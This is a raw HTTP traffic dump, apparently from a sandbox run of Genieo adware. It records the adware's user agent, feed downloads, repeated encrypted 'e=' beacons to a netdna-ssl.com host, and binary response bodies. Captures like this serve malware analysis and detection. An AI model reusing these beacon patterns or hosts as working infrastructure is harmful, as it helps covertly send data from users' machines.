.e.u.......GG.9.L.-.e.Y.........?.....q[.eN....S...'yz<..e^gmU.....
i..b.Wi..y.(....E..$.6Y...5}F.........e..?..i.L.b.<?J......g.}7k...
Z..2..MzU..j.:.i......5.Xe.&o>J......WU=..-.k.B..en.#.s....R.......
~.$..1..6........Z....(....%t.7.X.z0..jqW......../Z...}t"xo..^..(..]{.
.u.N.Y...g..|..p....i....{.f.i......~$H...<o?J[.. ..@........}.....
.E...........B......?.]f..GG...o=8.UuQ....u[L.....03./.jv...U..Y..4...
..}...jhP..L..G...}&M......b."f....l..............~s..T..>...55.{u.
...W...o.................~VO?.A...'.<.....}..._<.}......./z..s..
.O~...u.....]..~.. R=...w....eYe....i...e.Y.1..!........j.........Z..k
...2o..............nG..O_..:~....].o.@'.;Ov......]I......AWu....5&....
...I .......B8.C..o.)j{W........j.Z^...$Jq.F.lQ..}...p......)al~vp...H
.j.....7<..G.2I..eYW..H8................$.........hO.y....I.$Z..*)o
f.."..O.....O.g....H)5.....H..../w..m.h....=..O.....>".?-..[......W
.f.......f......>........J_....9...w..9z<..o......^.....(....8~.
...\.{.).9....M.Zb...Sb.4........I-.....Y.6....."..i..~.I.-.~t.....y.U
.cDd.f..Wuq.M.#...o...!z..cC......}...9.3 .;....^......i..'..........V
=.?.d....p...EaQ...evm.........9..m.Y....C.w.W.u[.wvo..!..I_.....9)..y
eU..X{.to...l?;...M...O..oO...m......|.i.g2^....ZlR.I.O...q.B.9.... :.
.v..V...:..'..8}...Y.^A...x.^..5....>..A..,.g...:.9.7."(......"<<< skipped >>>

GET /misc/preset_feeds_override2.json HTTP/1.1

Accept-Encoding: gzip,deflate

Host: download.genieo.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

x-amz-id-2: /y8r56kzYb3hGoZ8XuKaFxM oMOuy GUPNYTInLa/pn3tSrbU8HpTmatTNoWklmo

x-amz-request-id: 8407738E30E41F63

Date: Fri, 15 May 2015 23:04:49 GMT

Last-Modified: Thu, 08 Nov 2012 10:59:05 GMT

ETag: "c88671057883d87dcabc459b140b7809"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 18354

Server: AmazonS3
{..    "categories":[..        {..            "name":"General",..     
       "weight":0.00,..            "timeSensitive":true..        },...
{..            "name":"National",..            "weight":0.01,..       
     "timeSensitive":true..        },..        {..            "name":"
World",..            "weight":0.02,..            "timeSensitive":true.
.        },..        {..            "name":"News",..            "weigh
t":0.02,..            "timeSensitive":true..        },..        {..   
         "name":"Sport",..            "weight":0.10,..            "tim
eSensitive":true..        },..        {..            "name":"Business"
,..            "weight":0.10..        },..        {..            "name
":"Technology",..            "weight":0.10..        },..        {..   
         "name":"Entertainment",..            "weight":0.3..        },
..        {..            "name":"Science",..            "weight":0.07.
.        },..        {..            "name":"Health",..            "wei
ght":0.08..        },..        {..            "name":"Blogs-Entertainm
ent",..            "weight":0.10..        },..        {..            "
name":"Blogs-Sport",..            "weight":0.02..        },..        {
..            "name":"Blogs-Technology",..            "weight":0.03.. 
       },..        {..            "name":"Blogs-Science",..           
 "weight":0.03..        },..        {..            "name":"Blogs-Healt
h",..            "weight":0.02..        },..        ..    ],..    "map
pings":[..        {..            "dst":"CA",..            "src":"e<<< skipped >>>

GET /10957.ashx?e=W5y9y1UrGBmidLNtGGzWYU7rJDSm VNK1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZY6XgoNtHCHtXf1ws7XaD2yRYhZSGl8ahHJscN vLrCozg0PJKmtjhbnF8rmHTkMqElJDbT23fvBEnqM x5Lofqsq nFs/xGcCvWEaIOFylF6wnCeAYRjCxSn 64fsonTd2zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cKA3e4YdyjH0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:25 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /10957.ashx?e=yhrBLBbZM9XZ/Qu8ewVmadZ/7x4XnQsxsg7jyZ2P5QEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybWLazpewXw1iOTz1mAXFvBrPiCC4paVhd51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGB0VQjjQGElPZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8tKc8aV27M6Qw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19Vqd4zZ7hmf0AjPAY6BOK aI4G r 3F6T7V/KjEEWYKZs//X7CkDuPsrumj6K0eW/0JXOJugCS3crYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaCikrMz/ bCM7aORXkWGY0yC0TCtLj26MzXWKBZOyWjkrm 5F5oSzMhhqfg4779Up HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:25 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:26 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19Vx5kiKceVrSAAWRkI6Uocf9CUHeR8YCF32aiujnEdaD2RHLN7I11j c7I0Xy20VFhZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKmeSO24oBE8ZdN IvNarENgwOtFY1v9r65a9zURFJj8tKc8aV27M6Qw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VmEkFygc5PV l8LS18/7YS7PiCC4paVhdfnT/0Z jrL9FpTldfxcKbOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZQ8RyywzcfoHBwwa3T8ODYmcP7mQZ22oNj/q7W eRuIgzcPe3ThP39Y= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19V1nZT UXyB8cE8SFHLIEPsOit9OsprAChdn2Gh86QFqgE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEtQFyGFTg6bSYHl7SsVu0EN2ltoT7k41XPub/WK4pseWXeDTO6L2KLXHkYMF1sFL98= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:26 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VHjGYjGl0N5sE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux94iIt7FscEyIm9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLaz074LCUmuYA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VQxif0o9fDfziIWpgU8OD6Y4G r 3F6T7vrZfSMZOBD0PEr/Af2Blr2dVm6duC02rjzFRiuaQ/ZM1PFn8yow0OxBJeQlwjVbw0bQp3LrD9wFy7fwPfdQyks3aK7WMV1mNb4nh7Zuj/WLqPz/o89hHBxXqXpc2s1o7TwnkosslquiFY43 wW0aNqe8ifHXDY89WL3FpwV1CAqnvInx1w2PPc2VD/MtGD91X6uTd7zWY/SJxaCZD XFLYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS8iywNY6L/ueds0u3g0oWIicSo4m2rDE1hBcSKZQJHcHEjhVflPPH5U= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VYprmtggrnPkRZoIKlaIquCmF904v4t2Dq2VCTtgY9vzjJTf12l608veJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLFRl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLcTbA5p8qsFI= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /10957.ashx?e=gwZ4/u7hMkKt 9hOzZQLUHbogtPPZKsKjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNvoRldPc1Yyom9oClAiF8CTqMYFcOOPWQ0ZuKdRrFkLYmqWHNCxcW3VHmS0Zrngqa/u6z7Uinv/jYdjfUl7cOWkCN9h bV19VAhTD7v1xeC59AEINFij/sY4G r 3F6T7IPcRS MHsojG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3iIi3sWxwTIib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtrPTvgsJSa5g HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:27 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:27 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?23bd924b10a22357 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 24 Feb 2015 00:37:01 GMT

If-None-Match: "80b4d90ca4fd01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Tue, 24 Feb 2015 00:37:01 GMT

ETag: "80b4d90ca4fd01:0"

Cache-Control: max-age=604800

Date: Fri, 15 May 2015 23:06:07 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Feb 2015 00:37:01 GMT..ETag: "80b4d90ca4fd01:0"..C
ache-Control: max-age=604800..Date: Fri, 15 May 2015 23:06:07 GMT..Con
nection: keep-alive......

GET /msdownload/update/v3/static/trustedr/en/D69B561148F01C77C54578C10926DF5B856976AD.crt?27c8070a6e7007c8 HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 200 OK

Content-Type: application/x-x509-ca-cert

Last-Modified: Fri, 20 Feb 2015 20:14:50 GMT

Accept-Ranges: bytes

ETag: "05934e1494dd01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Content-Length: 867

Date: Fri, 15 May 2015 23:06:08 GMT

Connection: keep-alive
0.._0..G.............!XS..0...*.H........0L1 0...U....GlobalSign Root 
CA - R31.0...U....GlobalSign1.0...U....GlobalSign0...090318100000Z..29
0318100000Z0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1.
0...U....GlobalSign0.."0...*.H.............0.........%v.y.x".......(..
.v....r.F.C....._$..K.`.F.R...Gpl.d...,...=. .......y.;..w...I.jb/.^..
h..'.8...>..&Y.s....&.....[...`.I.(.i;...(....aW7.t..t.:.r/.......=
...3.. .S.:.s..A. :......O..2`.W....hh.8&`u..w..... [email protected].^....w.
d.z._....b..l.Ti....n...qv.i.........B0@0...U...........0...U.......0.
...0...U........K...E$.MP.c.......0...*[email protected].
...A.....(.3.k.t...-..........sgJ..D{x..nlo.).39E....Wl.....S.-.$l..c.
.ShgV>...5!..h....S......]F...zX(./....7A..Dm.S(.~.g.........L'.L.s
sv.....z..-....,.<.U...~6..WI...-|`..AQ.#...2k.....,3.:;%..@.;,.x.a
/....Uo.....M.(.r..bPe.....1....GX?_HTTP/1.1 200 OK..Content-Type: app
lication/x-x509-ca-cert..Last-Modified: Fri, 20 Feb 2015 20:14:50 GMT.
.Accept-Ranges: bytes..ETag: "05934e1494dd01:0"..Server: Microsoft-IIS
/7.5..X-Powered-By: ASP.NET..Content-Length: 867..Date: Fri, 15 May 20
15 23:06:08 GMT..Connection: keep-alive..0.._0..G.............!XS..0..
.*.H........0L1 0...U....GlobalSign Root CA - R31.0...U....GlobalSign1
.0...U....GlobalSign0...090318100000Z..290318100000Z0L1 0...U....Globa
lSign Root CA - R31.0...U....GlobalSign1.0...U....GlobalSign0.."0...*.
H.............0.........%v.y.x".......(...v....r.F.C....._$..K.`.F.R..
.Gpl.d...,...=. .......y.;..w...I.jb/.^..h..'.8...>..&Y.s....&.<<< skipped >>>

GET /tableau/tableau.html?device=desktop&lang=uk&target=blank&preset=ua&service-id=www HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yastatic.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:50 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 25 Feb 2015 17:26:15 GMT

ETag: W/"54ee05b7-a01a"

Expires: Sat, 16 May 2015 02:02:08 GMT

Cache-Control: max-age=10800

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
3403.............}.s..u....m.\..^$A.1...f4..{2...-kU...........X5..6..
f...S.n.o.ak?l..{.^..T.....?..s....!..........{.=.s.%t...'......2H..[.
.S..^....;.(9.E*.}......z.K.5..I0u.?.}......^.......Q..RW}o...g..-{..^
..h...5... ........K%..i.......~...q.V.t2..A4..Z.z....\....8.z~e."....
.3M..q.'j.;[email protected].
.....kh.(H./..'X.?x ...........^..0.;_.u....,.....`..N..w..y:.....?8..
\.e...O........Q....P..z.....<.:jI......x.l..|.%_..f..i....08.u.A..
...F.9GR<H.t...Q.......d...@P?VFQ.L..tVO.B..2._.rt..A^.jw,,.;...`t.
.U...i....ZW.L..7g..N.4...:..."...kg....H%...?M........[...u.Qm._)C...
............4............*<.%KL'..d`a..(J..4...........E.I=i.....\ 
...\VIvVt.."....spa$....n.....7J.2i.....<Hk\u..C..J.A.n.p%......._.
T..z...J.....nm...~C..Vi4..j....0.......vc._.u....q$i..@ ...v(. ....y!
1.i`e.B.%M..9./...e.$.8~.<...r.f.4.Zg..I._..l..~/.=F..9gpN.0...1y.c
.4H...x.C...L.........v2=.z9...Cf..}..E...Q.n...lo.x.....G........"..f
......er.oG/.M2..&......a..... ......;.w..X.J..|d..i......6.M.......=]
..M.hO.......}..Jyd55.]o;.A.yn6..n.....<..`Y.:..s..Z.6.h.........c.
.M..7...`...,...S7[...;..YV......r.Wk..^3t....f...h....t.5...a...5tQ..
.yC_C..m9VK"cP'........A...............k...lA..C_0. ...pzz..[.....jM.Y
k....A....G....hv..h.....jlp...4x...!.........Rvm.na....64..-G3u...'5.
.fn...z.....X..7[4Q....f.S../...hts..p6.7.5..-[#..^S...l.....71...L...
[..".......j.vMZ.f[u._P.64.O.B.........[Z.........-t4.|.....K.:->=.
....h.D|p...Dj..UaV{.'ik.q....m...%[email protected].!-B.<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yastatic.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

83..............(.......HML..).,.I.310Q../Qp./.K..........&..T*$.'....
.*.gd..*...S.JR..l2..M....C.Av..Ayy..y...z.z...J.A...P.............0..
....

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yastatic.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html

Content-Length: 185

Connection: keep-alive

Location: hXXp://api.yandex.ru/jslibs

Expires: Thu, 31 Dec 2037 23:55:55 GMT

Cache-Control: max-age=315360000

Cache-Control: public

Access-Control-Allow-Origin: *
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.7.10</center>..</body>..</html>..HTTP/
1.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May 2015
 23:04:52 GMT..Content-Type: text/html..Content-Length: 185..Connectio
n: keep-alive..Location: hXXp://api.yandex.ru/jslibs..Expires: Thu, 31
 Dec 2037 23:55:55 GMT..Cache-Control: max-age=315360000..Cache-Contro
l: public..Access-Control-Allow-Origin: *..<html>..<head>&
lt;title>301 Moved Permanently</title></head>..<body
 bgcolor="white">..<center><h1>301 Moved Permanently<
;/h1></center>..<hr><center>nginx/1.7.10</cent
er>..</body>..</html>......


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yastatic.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:52 GMT

Content-Type: text/html

Content-Length: 185

Connection: keep-alive

Location: hXXp://api.yandex.ru/jslibs

Expires: Thu, 31 Dec 2037 23:55:55 GMT

Cache-Control: max-age=315360000

Cache-Control: public

Access-Control-Allow-Origin: *
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.7.10</center>..</body>..</html>..HTTP/
1.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May 2015
 23:04:52 GMT..Content-Type: text/html..Content-Length: 185..Connectio
n: keep-alive..Location: hXXp://api.yandex.ru/jslibs..Expires: Thu, 31
 Dec 2037 23:55:55 GMT..Cache-Control: max-age=315360000..Cache-Contro
l: public..Access-Control-Allow-Origin: *..<html>..<head>&
lt;title>301 Moved Permanently</title></head>..<body
 bgcolor="white">..<center><h1>301 Moved Permanently<
;/h1></center>..<hr><center>nginx/1.7.10</cent
er>..</body>..</html>......


GET /morda-logo/i/favicon_islands.ico HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yastatic.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: image/x-icon

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Thu, 14 May 2015 10:21:04 GMT

ETag: W/"55547710-a25e"

Expires: Thu, 31 Dec 2037 23:55:55 GMT

Cache-Control: max-age=315360000

Cache-Control: public

Access-Control-Allow-Origin: *

Content-Encoding: gzip
141d.............].t.......m%[email protected]].Z K@*...5.d....Y..A............m..z
..{O[....."...   ..M..,.LH&3I&..}....M.w.~..d..=.w2..{.....7w..A..t ..
...}Q.[.........%?@h3y......!.I......#..3......#..$B.....<.<....
.~B0..Q....iD.HH..4_w{.....K.$.G..H..S..MX/6n....I .......&,aM../.k.~.
.g...KM&.!.|F......%..{..w.......=P....[.....g.?....il.P.g..J....x....
|..g.?....i8.^... ...{S....v......E..mi.4..l..?h....B~6.Pe.......->
........w......!?./.b.B...F.Z[..Co...O2..C~:^...._$y..F...a......O..~.
.t<.^]}..K$....hk.c..v...W..8.$|..t<.....I.8......~L...F<bp9.
t....R$.s8..$.....H.......7.\@.. ...........jjjN....G$.....@}...L.ou.v
.4..?..N......b.IH.[.m?..O.....;......v....7...9....!.[...<.Y.v....
S#..(*)- .Fp.O...h.....C.#..#.....r......n.>..Z......J.L.>%3.'..
...'uB........m..~...-[d..|..I....W.}Z..Q......PV^..d.%?...p.d..>6.
...wlsp.=.....}.(?....J..t.)..l.6.....E.*.f.y"w.(.....p..G..,...5.....
[email protected].\......{.J..e.~...~....J....|..[..s{.b....C.1....Y.
 h.deot....o...}...@??.7...o.c.cG..g.D...4.6....b..j%.X......|O..nQ>
;/=.}..e....Tv..8z.-........9N......8"..."..6...i.}.....Y..$.....x....
.8J~J.......zA...6........|.....i"o...%..(.../.0.J..X...;E.i....m...W.
..v...t...e(..........{g#f.%.....k...i.Wxuu.q...(.0>...a..,.9>..
.c!....}......'4.X.`^;.`../.......C_5.E6.WC...$...C.r.7.....p._.be..N{
.....4G...gM...........x........./..B.....x..dpM..n....:R.. .]..9.5.~w
....OH<....n...g..u E=.......F.f...H`..n.-$.......K.9..IV.....V..{.
...~....zdq...U.q.....v..k....^..f<..I..b.U.'.W..(3.......t$...<<< skipped >>>

HEAD / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yastatic.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:56 GMT

Content-Type: text/html

Content-Length: 185

Connection: keep-alive

Location: hXXp://api.yandex.ru/jslibs

Expires: Thu, 31 Dec 2037 23:55:55 GMT

Cache-Control: max-age=315360000

Cache-Control: public

Access-Control-Allow-Origin: *

HTTP/1.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May
 2015 23:04:56 GMT..Content-Type: text/html..Content-Length: 185..Conn
ection: keep-alive..Location: hXXp://api.yandex.ru/jslibs..Expires: Th
u, 31 Dec 2037 23:55:55 GMT..Cache-Control: max-age=315360000..Cache-C
ontrol: public..Access-Control-Allow-Origin: *......

GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: yastatic.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 301 Moved Permanently

Server: nginx/1.6.2

Date: Fri, 15 May 2015 23:04:57 GMT

Content-Type: text/html

Content-Length: 185

Connection: keep-alive

Location: hXXp://api.yandex.ru/jslibs

Expires: Thu, 31 Dec 2037 23:55:55 GMT

Cache-Control: max-age=315360000

Cache-Control: public

Access-Control-Allow-Origin: *
<html>..<head><title>301 Moved Permanently</title
></head>..<body bgcolor="white">..<center><h1&
gt;301 Moved Permanently</h1></center>..<hr><cent
er>nginx/1.7.10</center>..</body>..</html>..HTTP/
1.1 301 Moved Permanently..Server: nginx/1.6.2..Date: Fri, 15 May 2015
 23:04:57 GMT..Content-Type: text/html..Content-Length: 185..Connectio
n: keep-alive..Location: hXXp://api.yandex.ru/jslibs..Expires: Thu, 31
 Dec 2037 23:55:55 GMT..Cache-Control: max-age=315360000..Cache-Contro
l: public..Access-Control-Allow-Origin: *..<html>..<head>&
lt;title>301 Moved Permanently</title></head>..<body
 bgcolor="white">..<center><h1>301 Moved Permanently<
;/h1></center>..<hr><center>nginx/1.7.10</cent
er>..</body>..</html>....

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: tools.google.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Type: text/plain

Last-Modified: Tue, 05 May 2015 21:02:53 GMT

Date: Fri, 15 May 2015 23:04:53 GMT

Expires: Fri, 15 May 2015 23:04:53 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

Server: sffe

Content-Length: 2036

X-XSS-Protection: 1; mode=block

Alternate-Protocol: 80:quic,p=1
...........YMo......b..=.....E..A.x{.....%...l)..g..K.c..4.$..!)......
